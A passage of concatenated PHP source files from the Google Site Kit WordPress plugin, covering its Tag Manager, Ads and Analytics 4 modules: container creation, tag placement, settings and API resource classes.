Google_Service_TagManager_Container; use Google\Site_Kit_Dependencies\Psr\Http\Message\RequestInterface; use WP_Error; /** * Class representing the Tag Manager module. * * @since 1.0.0 * @access private * @ignore */ final class Tag_Manager extends Module implements Module_With_Scopes, Module_With_Settings, Module_With_Assets, Module_With_Debug_Fields, Module_With_Owner, Module_With_Service_Entity, Module_With_Deactivation, Module_With_Tag { use Method_Proxy_Trait; use Module_With_Assets_Trait; use Module_With_Owner_Trait; use Module_With_Scopes_Trait; use Module_With_Settings_Trait; use Module_With_Tag_Trait; /** * Module slug name. */ const MODULE_SLUG = 'tagmanager'; /** * Container usage context for web. */ const USAGE_CONTEXT_WEB = 'web'; /** * Container usage context for AMP. */ const USAGE_CONTEXT_AMP = 'amp'; /** * Map of container usageContext to option key for containerID. * * @var array */ protected $context_map = array( self::USAGE_CONTEXT_WEB => 'containerID', self::USAGE_CONTEXT_AMP => 'ampContainerID', ); /** * Registers functionality through WordPress hooks. * * @since 1.0.0 */ public function register() { $this->register_scopes_hook(); // Tag Manager tag placement logic. add_action( 'template_redirect', array( $this, 'register_tag' ) ); add_filter( 'googlesitekit_ads_measurement_connection_checks', function ( $checks ) { $checks[] = array( $this, 'check_ads_measurement_connection' ); return $checks; }, 30 ); } /** * Checks if the Tag Manager module is connected and contains an Ads Conversion Tracking (AWCT) tag. * * @since 1.151.0 * * @return bool Whether or not Ads measurement is connected via this module. */ public function check_ads_measurement_connection() { if ( ! $this->is_connected() ) { return false; } $settings = $this->get_settings()->get(); $live_containers_versions = $this->get_data( 'live-container-version', array( 'accountID' => $settings['accountID'], 'internalContainerID' => $settings['internalContainerID'], ) ); if ( empty( $live_containers_versions->tag ) ) { return false; } return in_array( 'awct', array_column( $live_containers_versions->tag, 'type' ), true ); } /** * Gets required Google OAuth scopes for the module. * * @since 1.0.0 * * @return array List of Google OAuth scopes. */ public function get_scopes() { return array( 'https://www.googleapis.com/auth/tagmanager.readonly', ); } /** * Checks whether the module is connected. * * A module being connected means that all steps required as part of its activation are completed. * * @since 1.0.0 * * @return bool True if module is connected, false otherwise. */ public function is_connected() { $settings = $this->get_settings()->get(); $amp_mode = $this->context->get_amp_mode(); switch ( $amp_mode ) { case Context::AMP_MODE_PRIMARY: $container_ids = array( $settings['ampContainerID'] ); break; case Context::AMP_MODE_SECONDARY: $container_ids = array( $settings['containerID'], $settings['ampContainerID'] ); break; default: $container_ids = array( $settings['containerID'] ); } $container_id_errors = array_filter( $container_ids, function ( $container_id ) { return ! $container_id; } ); if ( ! empty( $container_id_errors ) ) { return false; } return parent::is_connected(); } /** * Cleans up when the module is deactivated. * * @since 1.0.0 */ public function on_deactivation() { $this->get_settings()->delete(); } /** * Gets an array of debug field definitions. * * @since 1.5.0 * * @return array */ public function get_debug_fields() { $settings = $this->get_settings()->get(); return array( 'tagmanager_account_id' => array( 'label' => __( 'Tag Manager: Account ID', 'google-site-kit' ), 'value' => $settings['accountID'], 'debug' => Debug_Data::redact_debug_value( $settings['accountID'] ), ), 'tagmanager_container_id' => array( 'label' => __( 'Tag Manager: Container ID', 'google-site-kit' ), 'value' => $settings['containerID'], 'debug' => Debug_Data::redact_debug_value( $settings['containerID'], 7 ), ), 'tagmanager_amp_container_id' => array( 'label' => __( 'Tag Manager: AMP Container ID', 'google-site-kit' ), 'value' => $settings['ampContainerID'], 'debug' => Debug_Data::redact_debug_value( $settings['ampContainerID'], 7 ), ), 'tagmanager_use_snippet' => array( 'label' => __( 'Tag Manager: Snippet placed', 'google-site-kit' ), 'value' => $settings['useSnippet'] ? __( 'Yes', 'google-site-kit' ) : __( 'No', 'google-site-kit' ), 'debug' => $settings['useSnippet'] ? 'yes' : 'no', ), ); } /** * Sanitizes a string to be used for a container name. * * @since 1.0.4 * * @param string $name String to sanitize. * * @return string */ public static function sanitize_container_name( $name ) { // Remove any leading or trailing whitespace. $name = trim( $name ); // Must not start with an underscore. $name = ltrim( $name, '_' ); // Decode entities for special characters so that they are stripped properly. $name = wp_specialchars_decode( $name, ENT_QUOTES ); // Convert accents to basic characters to prevent them from being stripped. $name = remove_accents( $name ); // Strip all non-simple characters. $name = preg_replace( '/[^a-zA-Z0-9_., -]/', '', $name ); // Collapse multiple whitespaces. $name = preg_replace( '/\s+/', ' ', $name ); return $name; } /** * Gets map of datapoint to definition data for each. * * @since 1.9.0 * * @return array Map of datapoints to their definitions. */ protected function get_datapoint_definitions() { return array( 'GET:accounts' => array( 'service' => 'tagmanager' ), 'GET:accounts-containers' => array( 'service' => 'tagmanager' ), 'GET:containers' => array( 'service' => 'tagmanager' ), 'POST:create-container' => array( 'service' => 'tagmanager', 'scopes' => array( 'https://www.googleapis.com/auth/tagmanager.edit.containers' ), 'request_scopes_message' => __( 'Additional permissions are required to create a new Tag Manager container on your behalf.', 'google-site-kit' ), ), 'GET:live-container-version' => array( 'service' => 'tagmanager' ), ); } /** * Creates a request object for the given datapoint. * * @since 1.0.0 * * @param Data_Request $data Data request object. * @return RequestInterface|callable|WP_Error Request object or callable on success, or WP_Error on failure. * * @throws Invalid_Datapoint_Exception Thrown if the datapoint does not exist. */ protected function create_data_request( Data_Request $data ) { switch ( "{$data->method}:{$data->datapoint}" ) { // Intentional fallthrough. case 'GET:accounts': case 'GET:accounts-containers': return $this->get_tagmanager_service()->accounts->listAccounts(); case 'GET:containers': if ( ! isset( $data['accountID'] ) ) { /* translators: %s: Missing parameter name */ return new WP_Error( 'missing_required_param', sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'accountID' ), array( 'status' => 400 ) ); } return $this->get_tagmanager_service()->accounts_containers->listAccountsContainers( "accounts/{$data['accountID']}" ); case 'POST:create-container': if ( ! isset( $data['accountID'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'accountID' ), array( 'status' => 400 ) ); } $usage_context = $data['usageContext'] ?: array( self::USAGE_CONTEXT_WEB, self::USAGE_CONTEXT_AMP ); if ( empty( $this->context_map[ $usage_context ] ) ) { return new WP_Error( 'invalid_param', sprintf( /* translators: 1: Invalid parameter name, 2: list of valid values */ __( 'Request parameter %1$s is not one of %2$s', 'google-site-kit' ), 'usageContext', implode( ', ', array_keys( $this->context_map ) ) ), array( 'status' => 400 ) ); } $account_id = $data['accountID']; if ( $data['name'] ) { $container_name = $data['name']; } else { // Use site name for container, fallback to domain of reference URL. $container_name = get_bloginfo( 'name' ) ?: URL::parse( $this->context->get_reference_site_url(), PHP_URL_HOST ); // Prevent naming conflict (Tag Manager does not allow more than one with same name). if ( self::USAGE_CONTEXT_AMP === $usage_context ) { $container_name .= ' AMP'; } } $container = new Google_Service_TagManager_Container(); $container->setName( self::sanitize_container_name( $container_name ) ); $container->setUsageContext( (array) $usage_context ); return $this->get_tagmanager_service()->accounts_containers->create( "accounts/{$account_id}", $container ); case 'GET:live-container-version': if ( ! isset( $data['accountID'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'accountID' ), array( 'status' => 400 ) ); } if ( ! isset( $data['internalContainerID'] ) ) { return new WP_Error( 'missing_required_param', /* translators: %s: Missing parameter name */ sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'internalContainerID' ), array( 'status' => 400 ) ); } return $this->get_tagmanager_service()->accounts_containers_versions->live( "accounts/{$data['accountID']}/containers/{$data['internalContainerID']}" ); } return parent::create_data_request( $data ); } /** * Creates GTM Container. * * @since 1.0.0 * @param string $account_id The account ID. * @param string|array $usage_context The container usage context(s). * * @return string Container public ID. * @throws Exception Throws an exception if raised during container creation. */ protected function create_container( $account_id, $usage_context = self::USAGE_CONTEXT_WEB ) { $restore_defer = $this->with_client_defer( false ); // Use site name for container, fallback to domain of reference URL. $container_name = get_bloginfo( 'name' ) ?: URL::parse( $this->context->get_reference_site_url(), PHP_URL_HOST ); // Prevent naming conflict (Tag Manager does not allow more than one with same name). if ( self::USAGE_CONTEXT_AMP === $usage_context ) { $container_name .= ' AMP'; } $container_name = self::sanitize_container_name( $container_name ); $container = new Google_Service_TagManager_Container(); $container->setName( $container_name ); $container->setUsageContext( (array) $usage_context ); try { $new_container = $this->get_tagmanager_service()->accounts_containers->create( "accounts/{$account_id}", $container ); } catch ( Exception $exception ) { $restore_defer(); throw $exception; } $restore_defer(); return $new_container->getPublicId(); } /** * Parses a response for the given datapoint. * * @since 1.0.0 * * @param Data_Request $data Data request object. * @param mixed $response Request response. * * @return mixed Parsed response data on success, or WP_Error on failure. */ protected function parse_data_response( Data_Request $data, $response ) { switch ( "{$data->method}:{$data->datapoint}" ) { case 'GET:accounts': /* @var Google_Service_TagManager_ListAccountsResponse $response List accounts response. */ return Sort::case_insensitive_list_sort( $response->getAccount(), 'name' ); case 'GET:accounts-containers': /* @var Google_Service_TagManager_ListAccountsResponse $response List accounts response. */ $accounts = Sort::case_insensitive_list_sort( $response->getAccount(), 'name' ); $response = array( // TODO: Parse this response to a regular array. 'accounts' => $accounts, 'containers' => array(), ); if ( 0 === count( $response['accounts'] ) ) { return $response; } if ( $data['accountID'] ) { $account_id = $data['accountID']; } else { $account_id = $response['accounts'][0]->getAccountId(); } $containers = $this->get_data( 'containers', array( 'accountID' => $account_id, 'usageContext' => $data['usageContext'] ?: self::USAGE_CONTEXT_WEB, ) ); if ( is_wp_error( $containers ) ) { return $response; } return array_merge( $response, compact( 'containers' ) ); case 'GET:containers': /* @var Google_Service_TagManager_ListContainersResponse $response Response object. */ $usage_context = $data['usageContext'] ?: array( self::USAGE_CONTEXT_WEB, self::USAGE_CONTEXT_AMP ); /* @var Google_Service_TagManager_Container[] $containers Filtered containers. */ $containers = array_filter( (array) $response->getContainer(), function ( Google_Service_TagManager_Container $container ) use ( $usage_context ) { return array_intersect( (array) $usage_context, $container->getUsageContext() ); } ); return Sort::case_insensitive_list_sort( array_values( $containers ), 'name' ); } return parent::parse_data_response( $data, $response ); } /** * Gets the configured TagManager service instance. * * @since 1.2.0 * @since 1.142.0 Made method public. * * @return Google_Service_TagManager instance. * @throws Exception Thrown if the module did not correctly set up the service. */ public function get_tagmanager_service() { return $this->get_service( 'tagmanager' ); } /** * Sets up information about the module. * * @since 1.0.0 * * @return array Associative array of module info. */ protected function setup_info() { return array( 'slug' => self::MODULE_SLUG, 'name' => _x( 'Tag Manager', 'Service name', 'google-site-kit' ), 'description' => __( 'Tag Manager creates an easy to manage way to create tags on your site without updating code', 'google-site-kit' ), 'homepage' => __( 'https://tagmanager.google.com/', 'google-site-kit' ), ); } /** * Sets up the Google services the module should use. * * This method is invoked once by {@see Module::get_service()} to lazily set up the services when one is requested * for the first time. * * @since 1.0.0 * @since 1.2.0 Now requires Google_Site_Kit_Client instance. * * @param Google_Site_Kit_Client $client Google client instance. * @return array Google services as $identifier => $service_instance pairs. Every $service_instance must be an * instance of Google_Service. */ protected function setup_services( Google_Site_Kit_Client $client ) { return array( 'tagmanager' => new Google_Service_TagManager( $client ), ); } /** * Sets up the module's settings instance. * * @since 1.2.0 * * @return Module_Settings */ protected function setup_settings() { return new Settings( $this->options ); } /** * Sets up the module's assets to register. * * @since 1.11.0 * * @return Asset[] List of Asset objects. */ protected function setup_assets() { $base_url = $this->context->url( 'dist/assets/' ); $dependencies = array( 'googlesitekit-api', 'googlesitekit-data', 'googlesitekit-datastore-site', 'googlesitekit-modules', 'googlesitekit-vendor', 'googlesitekit-components', ); $analytics_exists = apply_filters( 'googlesitekit_module_exists', false, 'analytics-4' ); // Note that the Tag Manager bundle will make use of the Analytics bundle if it's available, // but can also function without it, hence the conditional include of the Analytics bundle here. if ( $analytics_exists ) { $dependencies[] = 'googlesitekit-modules-analytics-4'; } return array( new Script( 'googlesitekit-modules-tagmanager', array( 'src' => $base_url . 'js/googlesitekit-modules-tagmanager.js', 'dependencies' => $dependencies, ) ), ); } /** * Registers the Tag Manager tag. * * @since 1.24.0 * @since 1.119.0 Made method public. * @since 1.162.0 Updated to pass Google tag gateway status to Web_Tag. */ public function register_tag() { $is_amp = $this->context->is_amp(); $module_settings = $this->get_settings(); $settings = $module_settings->get(); $tag = $is_amp ? new AMP_Tag( $settings['ampContainerID'], self::MODULE_SLUG ) : new Web_Tag( $settings['containerID'], self::MODULE_SLUG ); if ( ! $is_amp ) { $tag->set_is_google_tag_gateway_active( $this->is_google_tag_gateway_active() ); } if ( ! $tag->is_tag_blocked() ) { $tag->use_guard( new Tag_Verify_Guard( $this->context->input() ) ); $tag->use_guard( new Tag_Guard( $module_settings, $is_amp ) ); $tag->use_guard( new Tag_Environment_Type_Guard() ); if ( $tag->can_register() ) { $tag->register(); } } } /** * Returns the Module_Tag_Matchers instance. * * @since 1.119.0 * * @return Module_Tag_Matchers Module_Tag_Matchers instance. */ public function get_tag_matchers() { return new Tag_Matchers(); } /** * Checks if the current user has access to the current configured service entity. * * @since 1.77.0 * * @return boolean|WP_Error */ public function check_service_entity_access() { $is_amp_mode = in_array( $this->context->get_amp_mode(), array( Context::AMP_MODE_PRIMARY, Context::AMP_MODE_SECONDARY ), true ); $settings = $this->get_settings()->get(); $account_id = $settings['accountID']; $configured_containers = $is_amp_mode ? array( $settings['containerID'], $settings['ampContainerID'] ) : array( $settings['containerID'] ); try { $containers = $this->get_tagmanager_service()->accounts_containers->listAccountsContainers( "accounts/{$account_id}" ); } catch ( Exception $e ) { if ( $e->getCode() === 404 ) { return false; } return $this->exception_to_error( $e ); } $all_containers = array_map( function ( $container ) { return $container->getPublicId(); }, $containers->getContainer() ); return empty( array_diff( $configured_containers, $all_containers ) ); } /** * Checks if Google tag gateway is active. * * @since 1.162.0 * * @return bool True if Google tag gateway is active, false otherwise. */ protected function is_google_tag_gateway_active() { if ( ! Feature_Flags::enabled( 'googleTagGateway' ) ) { return false; } $google_tag_gateway_settings = new Google_Tag_Gateway_Settings( $this->options ); return $google_tag_gateway_settings->is_google_tag_gateway_active(); } } <?php /** * Class Google\Site_Kit\Modules\Ads\Tag_Matchers * * @package Google\Site_Kit\Core\Modules\Ads * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Ads; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Matchers; use Google\Site_Kit\Core\Tags\Tag_Matchers_Interface; /** * Class for Tag matchers. * * @since 1.124.0 * @access private * @ignore */ class Tag_Matchers extends Module_Tag_Matchers implements Tag_Matchers_Interface { /** * Holds array of regex tag matchers. * * @since 1.124.0 * * @return array Array of regex matchers. */ public function regex_matchers() { return array( "/gtag\\s*\\(\\s*['|\"]config['|\"]\\s*,\\s*['|\"](AW-[0-9]+)['|\"]\\s*\\)/i", ); } } <?php /** * Class Google\Site_Kit\Modules\Ads\Settings * * @package Google\Site_Kit\Modules\Ads * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Ads; use Google\Site_Kit\Core\Modules\Module_Settings; use Google\Site_Kit\Core\Storage\Setting_With_Owned_Keys_Interface; use Google\Site_Kit\Core\Storage\Setting_With_Owned_Keys_Trait; /** * Class for Ads settings. * * @since 1.122.0 * @access private * @ignore */ class Settings extends Module_Settings implements Setting_With_Owned_Keys_Interface { use Setting_With_Owned_Keys_Trait; const OPTION = 'googlesitekit_ads_settings'; /** * Registers the setting in WordPress. * * @since 1.122.0 */ public function register() { parent::register(); $this->register_owned_keys(); } /** * Gets the default value. * * @since 1.122.0 * @since 1.126.0 Added new settings fields for PAX. * @since 1.149.0 Added new settings fields for PAX. * * @return array An array of default settings values. */ protected function get_default() { return array( 'conversionID' => '', 'paxConversionID' => '', 'customerID' => '', 'extCustomerID' => '', 'formattedExtCustomerID' => '', 'userID' => '', 'accountOverviewURL' => '', ); } /** * Returns keys for owned settings. * * @since 1.122.0 * @since 1.126.0 Added new settings fields for PAX. * @since 1.149.0 Added customerID & userID settings fields for PAX. * * @return array An array of keys for owned settings. */ public function get_owned_keys() { return array( 'conversionID', 'paxConversionID', 'extCustomerID', 'customerID', 'userID', ); } } <?php /** * Class Google\Site_Kit\Modules\Ads\Web_Tag * * @package Google\Site_Kit\Modules\Ads * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Ads; use Google\Site_Kit\Core\Modules\Tags\Module_Web_Tag; use Google\Site_Kit\Core\Tags\GTag; use Google\Site_Kit\Core\Tags\Tag_With_Linker_Interface; use Google\Site_Kit\Core\Tags\Tag_With_Linker_Trait; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; /** * Class for Web tag. * * @since 1.124.0 * @access private * @ignore */ class Web_Tag extends Module_Web_Tag implements Tag_With_Linker_Interface { use Method_Proxy_Trait; use Tag_With_Linker_Trait; /** * Registers tag hooks. * * @since 1.124.0 */ public function register() { // Set a lower priority here to let Analytics sets up its tag first. add_action( 'googlesitekit_setup_gtag', $this->get_method_proxy( 'setup_gtag' ), 20 ); add_filter( 'script_loader_tag', $this->get_method_proxy( 'filter_tag_output' ), 10, 2 ); $this->do_init_tag_action(); } /** * Outputs gtag snippet. * * @since 1.124.0 */ protected function render() { // Do nothing, gtag script is enqueued. } /** * Configures gtag script. * * @since 1.124.0 * * @param GTag $gtag GTag instance. */ protected function setup_gtag( $gtag ) { $gtag->add_tag( $this->tag_id ); } /** * Filters output of tag HTML. * * @param string $tag Tag HTML. * @param string $handle WP script handle of given tag. * @return string */ protected function filter_tag_output( $tag, $handle ) { // The tag will either have its own handle or use the common GTag handle, not both. if ( GTag::get_handle_for_tag( $this->tag_id ) !== $handle && GTag::HANDLE !== $handle ) { return $tag; } // Retain this comment for detection of Site Kit placed tag. $snippet_comment = sprintf( "<!-- %s -->\n", esc_html__( 'Google Ads snippet added by Site Kit', 'google-site-kit' ) ); return $snippet_comment . $tag; } } <?php /** * Class Google\Site_Kit\Modules\Ads\Has_Tag_Guard * * @package Google\Site_Kit\Modules\Ads * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Ads; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Guard; /** * Class for the Ads tag guard. * * @since 1.124.0 * @since 1.128.0 Renamed class to be specific to presence of web tag. * @access private * @ignore */ class Has_Tag_Guard extends Module_Tag_Guard { /** * Modules tag_id value. * * @since 1.128.0 * * @var String */ protected $tag_id; /** * Class constructor. * * @since 1.128.0 * * @param string $tag_id Modules web tag string value. */ public function __construct( $tag_id = '' ) { $this->tag_id = $tag_id; } /** * Determines whether the guarded tag can be activated or not. * * @since 1.124.0 * @since 1.128.0 Updated logic to check modules tag_id value.. * * @return bool TRUE if guarded tag can be activated, otherwise FALSE or an error. */ public function can_activate() { return ! empty( $this->tag_id ); } } <?php /** * Class Google\Site_Kit\Modules\Ads\PAX_Config * * @package Google\Site_Kit * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Ads; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Authentication\Token; /** * Class representing PAX configuration. * * @since 1.128.0 * @access private * @ignore */ class PAX_Config { /** * Context instance. * * @since 1.128.0 * @var Context */ private $context; /** * Token instance. * * @since 1.128.0 * @var Token */ private $token; /** * Constructor. * * @since 1.128.0 * * @param Context $context Context instance. * @param Token $token Token instance. */ public function __construct( Context $context, Token $token ) { $this->context = $context; $this->token = $token; } /** * Gets the configuration data. * * @since 1.128.0 * @return array */ public function get() { $token = $this->token->get(); return array( 'authAccess' => array( 'oauthTokenAccess' => array( 'token' => $token['access_token'] ?? '', ), ), 'locale' => substr( $this->context->get_locale( 'user' ), 0, 2 ), 'debuggingConfig' => array( 'env' => $this->get_env(), ), ); } /** * Gets the environment configuration. * * @since 1.128.0 * @return string */ protected function get_env() { $allowed = array( 'PROD', 'QA_PROD' ); if ( defined( 'GOOGLESITEKIT_PAX_ENV' ) && in_array( GOOGLESITEKIT_PAX_ENV, $allowed, true ) ) { return GOOGLESITEKIT_PAX_ENV; } return 'PROD'; } } <?php /** * Class Google\Site_Kit\Modules\Ads\AMP_Tag * * @package Google\Site_Kit\Modules\Ads * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Ads; use Google\Site_Kit\Core\Modules\Tags\Module_AMP_Tag; use Google\Site_Kit\Core\Tags\Tag_With_Linker_Interface; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; use Google\Site_Kit\Core\Tags\Tag_With_Linker_Trait; /** * Class for AMP tag. * * @since 1.125.0 * @access private * @ignore */ class AMP_Tag extends Module_AMP_Tag implements Tag_With_Linker_Interface { use Method_Proxy_Trait; use Tag_With_Linker_Trait; /** * Sets the current home domain. * * @since 1.125.0 * * @param string $domain Domain name. */ public function set_home_domain( $domain ) { $this->home_domain = $domain; } /** * Registers tag hooks. * * @since 1.125.0 */ public function register() { $render = $this->get_method_proxy_once( 'render' ); // Which actions are run depends on the version of the AMP Plugin // (https://amp-wp.org/) available. Version >=1.3 exposes a // new, `amp_print_analytics` action. // For all AMP modes, AMP plugin version >=1.3. add_action( 'amp_print_analytics', $render ); // For AMP Standard and Transitional, AMP plugin version <1.3. add_action( 'wp_footer', $render, 20 ); // For AMP Reader, AMP plugin version <1.3. add_action( 'amp_post_template_footer', $render, 20 ); // For Web Stories plugin. add_action( 'web_stories_print_analytics', $render ); // Load amp-analytics component for AMP Reader. $this->enqueue_amp_reader_component_script( 'amp-analytics', 'https://cdn.ampproject.org/v0/amp-analytics-0.1.js' ); $this->do_init_tag_action(); } /** * Outputs gtag <amp-analytics> tag. * * @since 1.125.0 */ protected function render() { $config = $this->get_tag_config(); $gtag_amp_opt = array( 'optoutElementId' => '__gaOptOutExtension', 'vars' => array( 'gtag_id' => $this->tag_id, 'config' => $config, ), ); printf( "\n<!-- %s -->\n", esc_html__( 'Google Ads AMP snippet added by Site Kit', 'google-site-kit' ) ); printf( '<amp-analytics type="gtag" data-credentials="include"%s><script type="application/json">%s</script></amp-analytics>', $this->get_tag_blocked_on_consent_attribute(), // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped wp_json_encode( $gtag_amp_opt ) ); printf( "\n<!-- %s -->\n", esc_html__( 'End Google Ads AMP snippet added by Site Kit', 'google-site-kit' ) ); } /** * Gets the tag config as used in the gtag data vars. * * @since 1.125.0 * * @return array Tag configuration. */ protected function get_tag_config() { $config = array( $this->tag_id => array( 'groups' => 'default', ), ); return $this->add_linker_to_tag_config( $config ); } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Account_Ticket * * @package Google\Site_Kit * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4; /** * Class representing an account ticket for Analytics 4 account provisioning with associated parameters. * * @since 1.98.0 * @access private * @ignore */ class Account_Ticket { /** * Account ticket ID. * * @since 1.98.0 * @var string */ protected $id; /** * Property name. * * @since 1.98.0 * @var string */ protected $property_name; /** * Data stream name. * * @since 1.98.0 * @var string */ protected $data_stream_name; /** * Timezone. * * @since 1.98.0 * @var string */ protected $timezone; /** * Whether or not enhanced measurement should be enabled. * * @since 1.111.0 * @var boolean */ protected $enhanced_measurement_stream_enabled; /** * Constructor. * * @since 1.98.0 * * @param array $data Data to hydrate properties with. */ public function __construct( $data = null ) { if ( ! is_array( $data ) ) { return; } foreach ( $data as $key => $value ) { if ( property_exists( $this, $key ) ) { $this->{"set_$key"}( $value ); } } } /** * Gets the account ticket ID. * * @since 1.98.0 * * @return string */ public function get_id() { return $this->id; } /** * Sets the account ticket ID. * * @since 1.98.0 * * @param string $id Account ticket ID. */ public function set_id( $id ) { $this->id = (string) $id; } /** * Gets the property name. * * @since 1.98.0 * * @return string */ public function get_property_name() { return $this->property_name; } /** * Sets the property name. * * @since 1.98.0 * * @param string $property_name Property name. */ public function set_property_name( $property_name ) { $this->property_name = (string) $property_name; } /** * Gets the data stream name. * * @since 1.98.0 * * @return string */ public function get_data_stream_name() { return $this->data_stream_name; } /** * Sets the data stream name. * * @since 1.98.0 * * @param string $data_stream_name Data stream name. */ public function set_data_stream_name( $data_stream_name ) { $this->data_stream_name = (string) $data_stream_name; } /** * Gets the timezone. * * @since 1.98.0 * * @return string */ public function get_timezone() { return $this->timezone; } /** * Sets the timezone. * * @since 1.98.0 * * @param string $timezone Timezone. */ public function set_timezone( $timezone ) { $this->timezone = (string) $timezone; } /** * Gets the enabled state of enhanced measurement for the data stream. * * @since 1.111.0 * * @return bool $enabled Enabled state. */ public function get_enhanced_measurement_stream_enabled() { return $this->enhanced_measurement_stream_enabled; } /** * Sets the enabled state of enhanced measurement for the data stream. * * @since 1.111.0 * * @param bool $enabled Enabled state. */ public function set_enhanced_measurement_stream_enabled( $enabled ) { $this->enhanced_measurement_stream_enabled = (bool) $enabled; } /** * Gets the array representation of the instance values. * * @since 1.98.0 * * @return array */ public function to_array() { return get_object_vars( $this ); } } <?php /** * Class Proxy_GoogleAnalyticsAdminProvisionAccountTicketRequest * * @package Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin; use Google\Site_Kit_Dependencies\Google\Service\GoogleAnalyticsAdmin\GoogleAnalyticsAdminV1betaProvisionAccountTicketRequest; /** * Class for representing a proxied account ticket provisioning request body. * * @since 1.98.0 * @access private * @ignore */ class Proxy_GoogleAnalyticsAdminProvisionAccountTicketRequest extends GoogleAnalyticsAdminV1betaProvisionAccountTicketRequest { /** * The site ID. * * @since 1.98.0 * @var string */ public $site_id = ''; /** * The site secret. * * @since 1.98.0 * @var string */ public $site_secret = ''; /** * Gets the site ID. * * @since 1.98.0 */ public function getSiteId() { return $this->site_id; } /** * Sets the site ID. * * @since 1.98.0 * * @param string $id The site id. */ public function setSiteId( $id ) { $this->site_id = $id; } /** * Gets the site secret. * * @since 1.98.0 */ public function getSiteSecret() { return $this->site_secret; } /** * Sets the site secret. * * @since 1.98.0 * * @param string $secret The site secret. */ public function setSiteSecret( $secret ) { $this->site_secret = $secret; } } <?php /** * Class PropertiesEnhancedMeasurementResource * * @package Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin; use Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin\EnhancedMeasurementSettingsModel; use Google\Site_Kit_Dependencies\Google\Service\Resource; /** * The "enhancedMeasurementSettings" collection of methods. */ class PropertiesEnhancedMeasurementResource extends Resource { /** * Returns the singleton enhanced measurement settings for this web stream. Note * that the stream must enable enhanced measurement for these settings to take * effect. (webDataStreams.getEnhancedMeasurementSettings) * * @since 1.110.0 * * @param string $name Required. The name of the settings to lookup. Format: properties/{property_id}/webDataStreams/{stream_id}/enhancedMeasurementSettings * Example: "properties/1000/webDataStreams/2000/enhancedMeasurementSettings". * @param array $opt_params Optional parameters. * @return EnhancedMeasurementSettingsModel */ public function getEnhancedMeasurementSettings( $name, $opt_params = array() ) { $params = array( 'name' => $name ); $params = array_merge( $params, $opt_params ); return $this->call( 'getEnhancedMeasurementSettings', array( $params ), EnhancedMeasurementSettingsModel::class ); } /** * Updates the singleton enhanced measurement settings for this web stream. Note * that the stream must enable enhanced measurement for these settings to take * effect. (webDataStreams.updateEnhancedMeasurementSettings) * * @param string $name Output only. Resource name of this Data Stream. Format: properties/{property_id}/webDataStreams/{stream_id}/enhancedMeasurementSettings * Example: "properties/1000/webDataStreams/2000/enhancedMeasurementSettings". * @param EnhancedMeasurementSettingsModel $post_body The body of the request. * @param array $opt_params Optional parameters. * * @opt_param string updateMask Required. The list of fields to be updated. * Field names must be in snake case (e.g., "field_to_update"). Omitted fields * will not be updated. To replace the entire entity, use one path with the * string "*" to match all fields. * @return EnhancedMeasurementSettingsModel */ public function updateEnhancedMeasurementSettings( $name, EnhancedMeasurementSettingsModel $post_body, $opt_params = array() ) { $params = array( 'name' => $name, 'postBody' => $post_body, ); $params = array_merge( $params, $opt_params ); return $this->call( 'updateEnhancedMeasurementSettings', array( $params ), EnhancedMeasurementSettingsModel::class ); } } <?php /** * Class PropertiesEnhancedMeasurementService * * @package Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin; use Google\Site_Kit_Dependencies\Google\Service\GoogleAnalyticsAdmin; use Google\Site_Kit_Dependencies\Google_Client; /** * Class for managing GA4 datastream enhanced measurement settings. * * @since 1.110.0 * @access private * @ignore */ class PropertiesEnhancedMeasurementService extends GoogleAnalyticsAdmin { /** * PropertiesEnhancedMeasurementResource instance. * * @var PropertiesEnhancedMeasurementResource */ public $properties_enhancedMeasurements; // phpcs:ignore WordPress.NamingConventions.ValidVariableName /** * Constructor. * * @since 1.110.0 * * @param Google_Client $client The client used to deliver requests. * @param string 